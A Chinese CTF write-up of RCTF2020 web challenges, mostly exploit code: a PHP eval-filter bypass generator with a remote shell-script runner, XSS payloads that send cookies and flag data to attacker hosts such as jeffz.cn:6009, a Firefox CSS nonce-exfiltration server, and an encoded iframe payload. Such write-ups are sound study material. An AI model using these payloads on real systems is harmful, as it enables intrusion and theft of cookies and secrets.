博客原文
https://blog.jeffz.cn/2020/06/01/RCTF2020-Web-Misc/
Calc
http://124.156.140.90:8081/calc.php
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = ['[a-z]', '[\x7f-\xff]', '\s',"'", '"', '`', '\[', '\]','\$', '_', '\\\\','\^', ','];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/im', $str)) {
die("what are you want to do?");
}
}
@eval('echo '.$str.';');
}
?>
过滤了
['[a-z]', '[\x7f-\xff]', '\s',"'", '"', '`', '\[', '\]','\$', '_', '\\\\','\^', ',']
fuzz.py
:
import requests
url = 'http://124.156.140.90:8081/calc.php?num=%'
for i in range(256):
fuzzcode = hex(i)[2:]
bytecode = str(bytes([i]))[1:]
r = requests.get(url + fuzzcode)
print(f'{bytecode} : {r.text}')
可以使用
['[\x00-\x08]', '\t','[\x10-\x1f]', '!', '#', '%', '&', '(',')', '*', '+', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@', '{', '|', '}', '~']
可以看到与&
或|
非~
都可以用,数字和括号(){}
也都可以用,字符串连接符.
也可以用,经过队友@Tyaoo
的尝试,如下构造出了字符
((1).(1)){0} => 1
((1.1).(1)){1} => .
(((1.1).(1)){1})&(((4).(1)){0}) => $
然后就想到了科学计数法,构造出E
((1).(0.00001)){4} => E
这里记录下@星盟构造出来的几个字母
因为php中
所以
((0/0).(0)){0} => N ((0/0).(0)){1} => A ((1/0).(0)){0} => I ((1/0).(0)){2} => F
暴力枚举一下
make.py
:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
table = list(b'0123456789.-E') # 已知可构造字符
di = {}
l = len(table)
temp = 0
while temp != l:
for j in range(temp, l):
if ~table[j] & 0xff not in table: # 非运算
table.append(~table[j] & 0xff)
di[~table[j] & 0xff] = {'op': '~', 'c': table[j]} # 加入字典
# print(f'~ {str(bytes([table[j]]))[1:]} = {str(bytes([~table[j]&0xff]))[1:]}') # 打印构造过程
for i in range(l):
for j in range(max(i+1, temp), l):
t = table[i] & table[j] # 与运算
if t not in table:
table.append(t)
di[t] = {'op': '&', 'c1': table[i], 'c2': table[j]} # 加入字典
# print(f'{str(bytes([table[i]]))[1:]} & {str(bytes([table[j]]))[1:]} = {str(bytes([t]))[1:]}') # 打印构造过程
t = table[i] | table[j] # 或运算
if t not in table:
table.append(t)
di[t] = {'op': '|', 'c1': table[i], 'c2': table[j]} # 加入字典
# print(f'{str(bytes([table[i]]))[1:]} | {str(bytes([table[j]]))[1:]} = {str(bytes([t]))[1:]}') # 打印构造过程
temp = l
l = len(table)
table.sort()
print(bytes(table))
'''
可构造出:
\t\n\r !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~
'''
def howmake(ch: int) -> str:
if ch in b'0123456789':
return '(((1).(' + chr(ch) + ')){1})'
elif ch in b'.':
return '(((1).(0.1)){2})'
elif ch in b'-':
return '(((1).(-1)){1})'
elif ch in b'E':
return '(((1).(0.00001)){4})'
d = di.get(ch)
if d:
op = d.get('op')
if op == '~':
c = '~'+howmake(d.get('c'))
elif op == '&':
c = howmake(d.get('c1')) + '&' + howmake(d.get('c2'))
elif op == '|':
c = howmake(d.get('c1')) + '|' + howmake(d.get('c2'))
return f'({c})'
else:
print('input error!')
return
if __name__=='__main__':
while True:
payload = input('>')
result = []
for i in payload:
result.append(howmake(ord(i)))
result = '.'.join(result)
print(f'({result})')
但是这样执行有很大的限制,只能运行单行命令,而且url有长度限制
经过月亮大哥@cjM00n
的提醒,可以将shell分为多段,写到文件中再执行
然后根据写出如下脚本
rce.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from urllib.parse import quote
import requests
import base64
from make import howmake
system = []
for i in 'system':
system.append(howmake(ord(i)))
system = quote('.'.join(system))
#url = 'http://192.168.127.130/calc.php?num='
url = 'http://124.156.140.90:8081/calc.php?num='
def rce(payload: str):
result = []
for i in payload:
result.append(howmake(ord(i)))
result = quote('.'.join(result))
payload = f'({system})({result})'
# print(f'payload:\n({payload})')
r = requests.get(url + payload)
return r.text
if __name__=='__main__':
print('Input your shellcode, press "e" to over and run.')
while True:
i = 1
cmd = ''
temp = input(f'line {i} >')
while temp.lower() != 'e':
cmd += temp.strip() + '\n'
i += 1
temp = input(f'line {i} >')
print('writing shellcode to /tmp/c.sh')
print('=====================================================')
for i in range(0, len(cmd), 10):
payload = cmd[i:i+10]
print(f'{payload}',end='')
# payload = "echo '" + payload + "\\'>>/tmp/c.sh"
payload = base64.b64encode(payload.encode('utf-8')).decode('utf-8')
payload = f'echo {payload}|base64 -d>>/tmp/c.sh'
rce(payload)
print('=====================================================')
payload = '/bin/bash /tmp/c.sh'
print(f'[+]{payload}')
print()
print('=====================================================')
print(rce(payload))
print('=====================================================')
print()
payload = 'rm -rf /tmp/c.sh'
print(f'[+]{payload}')
rce(payload)
'''
https://github.com/ZeddYu/ReadFlag/blob/master/bash.md
执行下面代码就能拿到flag
rm -rf /tmp/pipe
mkfifo /tmp/pipe
cat /tmp/pipe | /readflag |(read l;read l;echo "$(($l))" > /tmp/pipe;cat)
rm -rf /tmp/pipe
'''
EasyBlog
赛后根据月亮大哥@cjM00n的思路来复现一下
比赛中修改了题目的CSP
改后如下
default-src 'none'; script-src 'unsafe-eval' 'nonce-4dd516bfb85e09859190085f3abc31d8439fe768' ; font-src 'self' data:; connect-src 'self'; img-src *; style-src 'self'; base-uri 'none'
比改之前多了个unsafe-eval
hint: zepto
入口 http://124.156.134.92:8081/?page=login
打开之后是一个登录
观察url很容易找到注册入口 http://124.156.134.92:8081/?page=register
随意注册一个账号进去之后发现 Report
很显然这是个XSS题
根据CSP,我们构造一个payload
123<img src=1>123
然后见框就插
可以看到有两个地方解析了,分别是
- article的content
- comment的content
题目提示 zepto
所以我们看看js的部分
function addComments(comments) {
comments.forEach(function (comment) {
let html = `
<div class="panel panel-default">
<div class="panel-heading">
<span class="name"></span>
<div class="pull-right">
<button type="button" class="btn btn-default btn-xs like" data-id="${comment.id}">
<span class="glyphicon glyphicon-thumbs-up" aria-hidden="true"></span><span>${comment.like}</span>
</button>
<button type="button" class="btn btn-default btn-xs dislike" data-id="${comment.id}">
<span class="glyphicon glyphicon-thumbs-down" aria-hidden="true"></span><span>${comment.dislike}</span>
</button>
</div>
</div>
<div class="panel-body"></div>
</div>
`;
dom = $(html)
dom.find('div>.name').text(comment.name)
dom.find('.panel-body').html(comment.comment)
$('#comments').append(dom)
})
}
function getUrlParam(name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)")
var r = window.location.search.substr(1).match(reg)
if (r != null) return unescape(r[2])
return null
}
$.get('?page=comments&cb=addComments&id=' + getUrlParam('id'))
$('#comments').on('click','button', function(e) {
let btn = $(e.currentTarget)
if (btn.hasClass('like')) {
$.get('?page=vote&op=like&id=' + btn.data('id'), function(e) {
let count = parseInt(btn.children('span:last-child').text())
btn.children('span:last-child').text(count + 1)
})
} else if(btn.hasClass('dislike')) {
$.get('?page=vote&op=dislike&id=' + btn.data('id'), function(e) {
let count = parseInt(btn.children('span:last-child').text())
btn.children('span:last-child').text(count + 1)
})
}
})
这里使用的不是 jquery
而是 zepto
这道题我只看出了一个可疑的地方
dom.find('.panel-body').html(comment.comment)
然后月亮大哥说还有个可控jsonp,可以通过改变cb的值来控制输出,但是由于我们缺少unsafe-inline
, 不能在页面中插入script
标签, 这样就无法调用
$.get('?page=comments&cb=addComments&id=' + getUrlParam('id'))
找到问题所在就去看文档 https://zeptojs.com/#html
简单地说就是 innerHTML
的效果
但是同样因为没有 unsafe-inline
也无法利用
然后看@zeddyu师傅的blog找到思路Web安全从零开始-XSS-III
(贴上月亮大哥的知识点 :Script-Gadgets
考虑到有代码重用的可能性,针对zepto
进行代码审计,因为有unsafe-eval
,所以我们使用eval
关键字进行查找
然后库中 src/zepto.js
发现了点东西
nodes.forEach(function(node){
if (copyByClone) node = node.cloneNode(true)
else if (!parent) return $(node).remove()
parent.insertBefore(node, target)
if (parentInDocument) traverseNode(node, function(el){
if (el.nodeName != null && el.nodeName.toUpperCase() === 'SCRIPT' &&
(!el.type || el.type === 'text/javascript') && !el.src){
var target = el.ownerDocument ? el.ownerDocument.defaultView : window
target['eval'].call(target, el.innerHTML)
}
})
})
这里的toUpperCase()
就可以操作了
https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
所以我们可以通过 scrıpt
来绕过检测,让zepto来执行
测试一下
<scrıpt>alert(1)</scrıpt>
可以弹窗
接着我们新建一个article
插入comment
<scrıpt>location.href="http://ip:port/"+btoa(document.cookie)</scrıpt>
然后本地运行
python -m http.server port
然后提交到Report得到cookies
PHPSESSID=1e251d73b669a63e8ca8fca7eb9b915b
以管理员身份进入之后就得到flag了
RCTF{1s_This_4_feaTur3_0R_A_bUg!}
附MD5截断比较脚本
# -*- coding: utf-8 -*- import multiprocessing import hashlib import random import string import sys CHARS = string.ascii_letters + string.digits def cmp_md5(substr, stop_event, str_len, start=0, size=20): global CHARS while not stop_event.is_set(): rnds = ''.join(random.choice(CHARS) for _ in range(size)).encode('utf-8') md5 = hashlib.md5(rnds + b'AFRzSApjjP') # 这里自己改 if md5.hexdigest()[start: start+str_len] == substr: print(rnds.decode('utf-8')) stop_event.set() if __name__ == '__main__': #substr = sys.argv[1].strip() substr = 'eafc5' # 这里自己改 #start_pos = int(sys.argv[2]) if len(sys.argv) > 2 else 0 start_pos = 0 str_len = len(substr) cpus = multiprocessing.cpu_count() stop_event = multiprocessing.Event() processes = [multiprocessing.Process(target=cmp_md5, args=(substr, stop_event, str_len, start_pos)) for i in range(cpus)] for p in processes: p.start() for p in processes: p.join() #python submd5.py substr startpos
这题@W&M有另一种做法,具体可以看他们的wp
swoole
https://swoole.rctf2020.rois.io
hint1: https://github.com/swoole/library/issues/34 this might helpful
先贴个出题人的writeup https://github.com/zsxsoft/my-ctf-challenges/tree/master/rctf2020
出题人说这题是道简单的反序列化
我:???
源码:
#!/usr/bin/env php
<?php
Swoole\Runtime::enableCoroutine($flags = SWOOLE_HOOK_ALL);
$http = new Swoole\Http\Server("0.0.0.0", 9501);
$http->on("request",
function (Swoole\Http\Request $request, Swoole\Http\Response $response) {
Swoole\Runtime::enableCoroutine();
$response->header('Content-Type', 'text/plain');
// $response->sendfile('/flag');
if (isset($request->get['phpinfo'])) {
// Prevent racing condition
// ob_start();phpinfo();
// return $response->end(ob_get_clean());
return $response->sendfile('phpinfo.txt');
}
if (isset($request->get['code'])) {
try {
$code = $request->get['code'];
if (!preg_match('/\x00/', $code)) {
$a = unserialize($code);
$a();
$a = null;
}
} catch (\Throwable $e) {
var_dump($code);
var_dump($e->getMessage());
// do nothing
}
return $response->end('Done');
}
$response->sendfile(__FILE__);
}
);
$http->start();
网页的源码只有这么些,很明显有一个可利用的点
$a = unserialize($code);
$a();
(这题我看了wp都做不出来,wtcl,等我看懂了再补上,咕咕咕
rBlog 2020
hint:
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace
贴上国外大佬的writeup:
https://blog.cal1.cn/post/RCTF%202020%20rBlog%20writeup
先看CSP:
default-src 'self' 'unsafe-inline' 'unsafe-eval'; img-src 'self' data:; object-src 'none'; base-uri 'none';
- 有
unsafe-inline
和unsafe-eval
,可以说啥都能用了
然后下载源码,发现是 django
框架
主路由
rblog4
分为两个分路由users
和posts
查看
users
的路由,发现没有用户注册功能,所以这个登录和注销功能只有bot
能用,也不用看了
主要看 posts
的路由和源码
posts/urls.py
from django.urls import path
from .views import *
app_name = 'posts'
urlpatterns = [
path('<uuid:id>', post_id_handler, name='uuid'),
path('', post_list_handler, name='list'),
path('feedback', feedback_handler, name='feedback'),
path('flag', flag_handler)
]
posts/views.py
from django.shortcuts import render, HttpResponse
from .models import Post, Feedback
from django.http import JsonResponse
from datetime import datetime, timedelta
from os import getenv
def post_id_handler(req, id):
if 'fetch' in req.GET:
p = Post.objects.filter(id=id)
if len(p) == 1:
return JsonResponse(p.values('id', 'title', 'content', 'create_at')[0])
else:
return HttpResponse(status=404)
else:
return render(req, 'posts/post.html')
def post_list_handler(req):
if 'fetch' in req.GET:
post_list = Post.objects.order_by('-create_at')
return JsonResponse(list(post_list.values('id', 'title')), safe=False)
else:
return render(req, 'posts/list.html')
def feedback_handler(req):
if req.method == 'POST':
fb = {
'link': req.POST.get('postid', ''),
'highlight_word': req.POST.get('highlight', ''),
'ip': req.META.get('HTTP_X_REAL_IP', req.META.get('REMOTE_ADDR'))
}
last_fb = Feedback.objects.filter(ip=fb['ip']).order_by('-create_at').first()
# check if last feedback from is ip is within one minute
if last_fb is None or last_fb and (datetime.now() - last_fb.create_at) > timedelta(minutes=1):
wew = Feedback(**fb)
wew.save()
return HttpResponse(status=204)
else:
return HttpResponse(status=429)
else:
if 'fetch' in req.GET:
if req.user.is_staff:
fb = Feedback.objects.filter(is_viewed=False).order_by('create_at')[:5]
ret = list(fb.values('link', 'highlight_word', 'ip'))
Feedback.objects.filter(pk__in=fb.values_list('pk')).update(is_viewed=True)
return JsonResponse(ret, safe=False)
else:
return HttpResponse(status=403)
else:
return render(req, 'posts/feedback.html')
def flag_handler(req):
if req.user.is_staff:
return HttpResponse(getenv('CHALLENGE_FLAG'))
else:
return HttpResponse(status=401)
这里我们可以得到以下信息
flag
位于/posts/flag
,需要bot
访问-
feedback
中我们通过POST
来提交信息,如下POST /posts/feedback HTTP/1.1 Host: rblog.rctf2020.rois.io Content-Type: application/x-www-form-urlencoded postid=8dfaa99d-da9b-4e90-954e-0f97a6917b91&highlight=writeup
其中
postid => link highlight_word => highlight
bot
访问时会返回渲染页面posts/feedback.html
然后分析下 feedback.html
{% extends 'base.html' %}
{% block body %}
<div>
<h2>Feedback list</h2>
</div>
<hr/>
<div id="feedback_list"></div>
{% endblock %}
{% load static %}
{% block script %}
<script src="{% static "js/purify.min.js" %}"></script>
<script>
axios.get('?fetch').then(resp => {
for (let i of resp.data) {
let params = new URLSearchParams()
params.set('highlight', i.highlight_word)
if (i.link.includes('/') || i.link.includes('\\')) {
continue; // bye bye hackers uwu
}
let a = document.createElement('a')
a.href = `${i.link}?${params.toString()}`
a.text = `${i.ip}: ${a.href}`
feedback_list.appendChild(a)
feedback_list.appendChild(document.createElement('br'))
}
feedback_list.innerHTML = DOMPurify.sanitize(feedback_list.innerHTML)
}, err => {
feedback_list.innerText = err
})
</script>
{% endblock %}
-
管理员访问
/posts/feedback
时,会从服务器获取我们POST
的信息,构造如下标签<a href="8dfaa99d-da9b-4e90-954e-0f97a6917b91?highlight=writeup">ip: a.href</a>
其中
link
,也就是我们提交的postid
检测了/
和\
这里我们会想到用 javascript:
来构造xss语句,但是被 DOMPurify
净化了,所以没法使用
跟着url路由,我们来到 posts/post.html
...
let postid = location.pathname.split('/', 3)[2];
axios.get('?fetch').then(resp => {
let p = resp.data
document.title = p.title
post_title.innerText = p.title
post_time.innerText = p.create_at
post_content.innerHTML = DOMPurify.sanitize(p.content)
highlight_word()
}, err => {
post_title.innerHTML = err
})
function highlight_word() {
u = new URL(location)
hl = u.searchParams.get('highlight') || ''
if (hl) {
// ban html tags
if (hl.includes('<') || hl.includes('>') || hl.length > 36) {
u.searchParams.delete('highlight')
history.replaceState('', '', u.href)
alert('⚠️ illegal highlight word')
} else {
// why the heck this only highlights the first occurrence? stupid javascript 😠
// content.innerHTML = content.innerHTML.replace(hl, `<b class="hl">${hl}</b>`)
hl_all = new RegExp(hl, 'g')
replacement = `<b class="hl">${hl}</b>`
post_content.innerHTML = post_content.innerHTML.replace(hl_all, replacement)
let b = document.querySelector('b[class=hl]')
if (b) {
typeof b.scrollIntoViewIfNeeded === "function" ? b.scrollIntoViewIfNeeded() : b.scrollIntoView()
}
}
}
}
...
这里进来就是用postid来获取文章信息并显示,因为我们没有账号,文章信息不可控,所以直接看 highlight_word()
- 将
highlight
参数传入hl
- 检测尖括号
<
>
,限制长度为36 - 正则匹配
/${hl}/g
替换为<b class="hl">${hl}</b>
根据hint,我们可以找到这个东西 使用字符串作为参数
匹配第一个:
一 二 三 $` => "" $' => "一二三"
^ 1$`2$'3| => "12一二三3|"
匹配第二个:
一 二 三 $` => "一" $' => "二三"
^ 1$`2$'3| => "1一2二三3|"
匹配第三个:
一 二 三 $` => "一二" $' => "三"
^ 1$`2$'3| => "1一二2三3|"
匹配第四个:
一 二 三 $` => "一二三" $' => "二三"
^ 1$`2$'3| => "1一二三23|"
拼起来:
"12一二三3|一1一2二三3|二1一二2三3|三1一二三23|"
构造payload
?highlight=$`style%20onload=alert()%0a|
可以弹出窗口,但是因为长度限制为36,所以还得想别的办法
这里国外大佬用了一种神奇的特性(做笔记
如果href属性以当前位置加载时使用的其他HTTP协议开头,则不会将其识别为相对URL。
image.png
所以我们可以通过让bot访问我们的连接来执行我们的script,然后利用window.name
传递我们的payload然后用eval
执行
本地 index.html
<script>
window.name = "fetch('flag').then(r=>{r.text().then(t=>{location='http://jeffz.cn:6009/'+btoa(t)})})"
location = "https://rblog.rctf2020.rois.io/posts/8dfaa99d-da9b-4e90-954e-0f97a6917b91?highlight=$`style%20onload=eval(top.name)%0a|"
</script>
POST
POST /posts/feedback HTTP/1.1
Host: rblog.rctf2020.rois.io
Content-Type: application/x-www-form-urlencoded
postid=http:jeffz.cn:6009&highlight=crzz
解码得到flag
RCTF{rblog2015_literally_unplayable_OMEGALUL}
还有师傅利用了全局变量u
POST
POST /posts/feedback HTTP/1.1
Host: rblog.rctf2020.rois.io
Content-Type: application/x-www-form-urlencoded
postid=8dfaa99d-da9b-4e90-954e-0f97a6917b91?`(eval(atob(`ZmV0Y2goJ2ZsYWcnKS50aGVuKHI9PntyLnRleHQoKS50aGVuKHQ9Pntsb2NhdGlvbj0naHR0cDovL2plZmZ6LmNuOjYwMDkvJytidG9hKHQpfSl9KQ==`)))%3b`%26highlight=$%2560style%2520onload=eval(%2522%2560%2522%252Bu.search)%250A|%26`#&highlight=crzz
chowder_cross
hints:
you should bypass the csp at the first of all,try to find the difference from this web challenge's configuration and other challenge's configuration,maybe it can help you to bypass the csp.
hint2:You can think about how the .htaccess of this web challenge is written, and think about a strange place in Content-Security-Policy, think about what function I implemented it on the back end of php,and find the relevant csp bypass method,I believe this is helpful for you.
hint3: Try to visit the non-existent page and see what happens, pay attention to img-src to see what happens, please combine my previous hints.
hint4: If you bypass the csp please leak nonce, if you use the best method you will only spend about ten seconds to leak admin's nonce,don't think too,I filter more in feedback than post.
hint5: The bot is firefox74.0. And If you are trying leak nonce now and If you think you're doing the right thing but can't leak nonce out, I suggest you to find the difference between leak nonce and other values when there is csp.And if you are filtered in the feedback for no reason, it is recommended that you try to add one or more spaces to your payload.I believe these will be of great help to you.
先贴个国外大佬的writeup : https://museljh.github.io/2020/06/01/RCTF2020-chowder-cross-writeup/
注册登录,发现又是一道xss题目
随便输入一下,看下csp
default-src 'none';object-src 'none';sandbox allow-scripts;connect-src 'self';script-src 'self' https://*.google.com/* 'nonce-1f73cd3daaa1a2279bedeb7c5299bae1';img-src http://124.156.139.238/;style-src 'self' 'nonce-1f73cd3daaa1a2279bedeb7c5299bae1'
同时也看到了hint=flag_is_in_flag.php
访问/flag.php
看到源码
<?php if(isset($_GET['f'])){
if($_SERVER["REMOTE_ADDR"] === "124.156.139.238" && $_SERVER['SERVER_NAME'] === "124.156.139.238")
echo "function get_secret(){ '".base64_encode(file_get_contents('admin.php'))."' }";
else
echo "function get_secret(){ 'emmmmm? Why aren\\'t you administrator?'
}";
} else{
highlight_file('flag.php'); }
?>
需要让bot来获得 /flag.php?f=1
中的 get_secret
的源码从而获得flag
回来看CSP,其中那个 https://*.google.com/*
和 http://124.156.139.238/
令人挺在意的
修改url,发现存在CSP策略注入
但是因为 script-src
已经出现过了,所以我们无法通过CSP注入来绕过,我们只可以修改 style-src
这里有个CSP的总结 https://blog.csdn.net/qq_33020901/article/details/79494449
- 不同指令之间用
;
分隔- 同一指令的多个指令值之间用空格分隔
- 指令值除了 URL 都要用引号包裹
- 指令如果重复,则以第一个为准
因为bot是firefox74.0,我们可以通过CSS样式表注入来获得管理员的 nonce
,从而实现script执行
https://www.freebuf.com/vuls/227326.html
英文原文:https://research.securitum.com/css-data-exfiltration-in-firefox-via-single-injection-point/
exp:https://github.com/securitum/research/blob/master/r2020_firefox-css-data-exfil/exploit.js
本地运行node脚本
const compression = require('compression')
const express = require('express');
const cssesc = require('cssesc');
const spdy = require('spdy');
const fs = require('fs');
const app = express();
app.set('etag', false);
app.use(compression());
const SESSIONS = {};
const POLLING_ORIGIN = `https://example.com:3000`;
const LEAK_ORIGIN = `https://example.com:3000`;
function urlencode(s) {
return encodeURIComponent(s).replace(/'/g, '%27');
}
function createSession(length = 150) {
let resolves = [];
let promises = [];
for (let i = 0; i < length; ++i) {
promises[i] = new Promise(resolve => resolves[i] = resolve);
}
resolves[0]('');
return { promises, resolves };
}
const CHARSET = Array.from('1234567890/=+QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm');
app.get('/polling/:session/:index', async (req, res) => {
let { session, index } = req.params;
index = parseInt(index);
if (index === 0 || !(session in SESSIONS)) {
SESSIONS[session] = createSession()
}
res.set('Content-Type', 'text/css');
res.set('Cache-Control', 'no-cache');
let knownValue = await SESSIONS[session].promises[index];
const ret = CHARSET.map(char => {
return `script[nonce^="${cssesc(knownValue+char)}"] ~ a { background: url("${LEAK_ORIGIN}/leak/${session}/${urlencode(knownValue+char)}")}`;
}).join('\n');
res.send(ret);
});
app.get('/leak/:session/:value', (req, res) => {
let { session, value } = req.params;
console.log(`[${session}] Leaked value: ${value}`);
SESSIONS[session].resolves[value.length](value);
res.status(204).send();
});
app.get('/generate', (req, res) => {
const length = req.query.len || 100;
const session = Math.random().toString(36).slice(2);
res.set('Content-type', 'text/plain');
for (let i = 0; i < length; ++i) {
res.write(`<style>@import '${POLLING_ORIGIN}/polling/${session}/${i}';</style>\n`);
}
res.send();
});
const options = {
key: fs.readFileSync('/etc/ssl/private/private.key'),
cert: fs.readFileSync('/etc/ssl/certs/full_chain.pem')
}
const PORT = 3000;
spdy.createServer(options, app).listen(PORT, () => console.log(`Example app listening on port ${PORT}!`))
运行之后访问 https://example.com:3000/generate
生成xss代码
然后x到网页中,将url修改并反馈
/s example:3000;style-src * 'unsafe-inline';/?action=post&id=a4d458c79bfe6f37997620dcb9fa507a
同样也要md5截断比较
(这里不知道为什么复现的时候md5截断一直没成功,但是我们可以本地测试,虽然返回不了flag
拿到nonce之后查看网页的js
function noop() {}
(() => {
const observer = new MutationObserver(function(mutations) {
mutations.forEach(function(mutation) {
const nodes = mutation.addedNodes;
for (var i = 0; i < nodes.length; i++) {
var node = nodes[i];
if (node.src != undefined && node.src != "") {
if (/^https:\/\/www.google\.com\/*$/.test(node.src)) {} else {
node.parentNode.removeChild(node);
}
}
if (node.srcdoc != undefined && node.srcdoc != "") {
if (/[^a-zA-z0-9:/]/.test(node.srcdoc)) {
node.parentNode.removeChild(node);
}
}
}
});
});
observer.observe(document, {
subtree: true,
childList: true
});
window.open = () => ''
const oldCreateElement = Document.prototype.createElement
Document.prototype.createElement = (a, ...args) => {
if (a !== 'iframe' && a !== 'frame')
return oldCreateElement.apply(document, [a, ...args])
return ''
}
Document.prototype.createElementNS = noop
})();
window.uneval = function() {};
Function.prototype.toString = noop
Function.prototype.toSource = noop
document.addEventListener('load', (e) => {
try {
console.log('fucked')
e.target.contentWindow.Function.prototype.toString = noop
e.target.contentWindow.Function.prototype.toSource = noop
} catch (e) {}
}, true);
['Document', 'Element'].forEach(documentKey => {
Object.keys(window[documentKey].prototype).forEach(key => {
try {
if (window[documentKey].prototype[key] instanceof Function) {
window[documentKey].prototype[key] = noop
}
} catch (e) {}
})
})
可以看到这里过滤了很多东西
- 过滤了正则匹配
src
=/^https:\/\/www.google\.com\/*$/
的node节点 - 过滤了正则匹配
srcdoc
=/[^a-zA-z0-9:/]/
的node节点 - 禁止使用
createElement
创建iframe
和frame
元素 - 废了
window.uneval
、toString
、toSource
-
Document
、Element
下的Function
类型的key
都被艹了
正则匹配,我们可以通过覆写 RegExp.prototype.test
来绕过
RegExp.prototype.test = function(){return false};
不能用 createElement
创建 iframe
元素,但是我们可以通过 innerHTML
直接写入
payload
<script nonce=1f73cd3daaa1a2279bedeb7c5299bae1>
RegExp.prototype.test = function(){return false};
var a="<ifra".concat("me sr","cdoc='\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x31\x32\x34\x2e\x31\x35\x36\x2e\x31\x33\x39\x2e\x32\x33\x38\x2f\x66\x6c\x61\x67\x2e\x70\x68\x70\x3f\x66\x3d\x31\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e\x3c\x73\x63\x72\x69\x70\x74\x20\x6e\x6f\x6e\x63\x65\x3d\x31\x66\x37\x33\x63\x64\x33\x64\x61\x61\x61\x31\x61\x32\x32\x37\x39\x62\x65\x64\x65\x62\x37\x63\x35\x32\x39\x39\x62\x61\x65\x31\x3e\x6c\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x68\x72\x65\x66\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x6a\x65\x66\x66\x7a\x2e\x63\x6e\x3a\x36\x30\x30\x39\x2f\x22\x2b\x62\x74\x6f\x61\x28\x67\x65\x74\x5f\x73\x65\x63\x72\x65\x74\x29\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'>");
document.body.innerHTML=a;
</script>
其中编码的内容为
<script src="http://124.156.139.238/flag.php?f=1"></script><script nonce=1f73cd3daaa1a2279bedeb7c5299bae1>location.href="http://jeffz.cn:6009/"+btoa(get_secret)</script>
访问
http://124.156.139.238/;frame-src *;/?action=post&id=4364f67e1ca98b009f17d70631e569ae
本地获得返回的结果
base64解码后成功获得函数内容